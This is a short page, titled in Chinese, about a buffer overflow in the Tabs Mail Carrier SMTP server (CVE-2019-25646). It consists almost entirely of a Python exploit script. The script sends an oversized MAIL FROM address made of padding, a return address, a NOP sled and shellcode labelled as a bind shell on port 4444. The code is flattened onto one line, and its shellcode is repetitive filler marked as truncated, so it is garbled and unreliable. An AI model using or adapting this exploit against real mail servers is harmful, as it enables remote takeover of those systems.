CVE-2019-25646 Tabs Mail Carrier 缓冲区溢出漏洞

import socket # Target configuration target_ip = "TARGET_IP" target_port = 25 # Malicious buffer construction # Padding to overwrite EIP + Return Address + NOP Sled + Shellcode # Offsets may vary based on specific environment/version offset = 260 ret_addr = "\xAF\x11\x50\x62" # Hypothetical address containing JMP ESP nop_sled = "\x90" * 32 # Example Shellcode (Bind shell on port 4444) shellcode = ("\xd9\xc8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x56\x31\x43" "\x13\x03\x43\x13\x83\xc3\x02\xe2\xf9\x6b\x2f\xc3" "\x6b\x2f\xc3\x6b\x2f\xc3\x6b\x2f\xc3\x6b\x2f\xc3") # Truncated for safety/demo payload = "A" * offset + ret_addr + nop_sled + shellcode try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(s.recv(1024)) # Receive SMTP banner s.send(b"EHLO poc\r\n") print(s.recv(1024)) # Trigger the buffer overflow via MAIL FROM s.send(bytes("MAIL FROM: <" + payload + "@evil.com>\r\n", "latin-1")) print("Payload sent successfully.") s.close() except Exception as e: print(f"Error: {e}")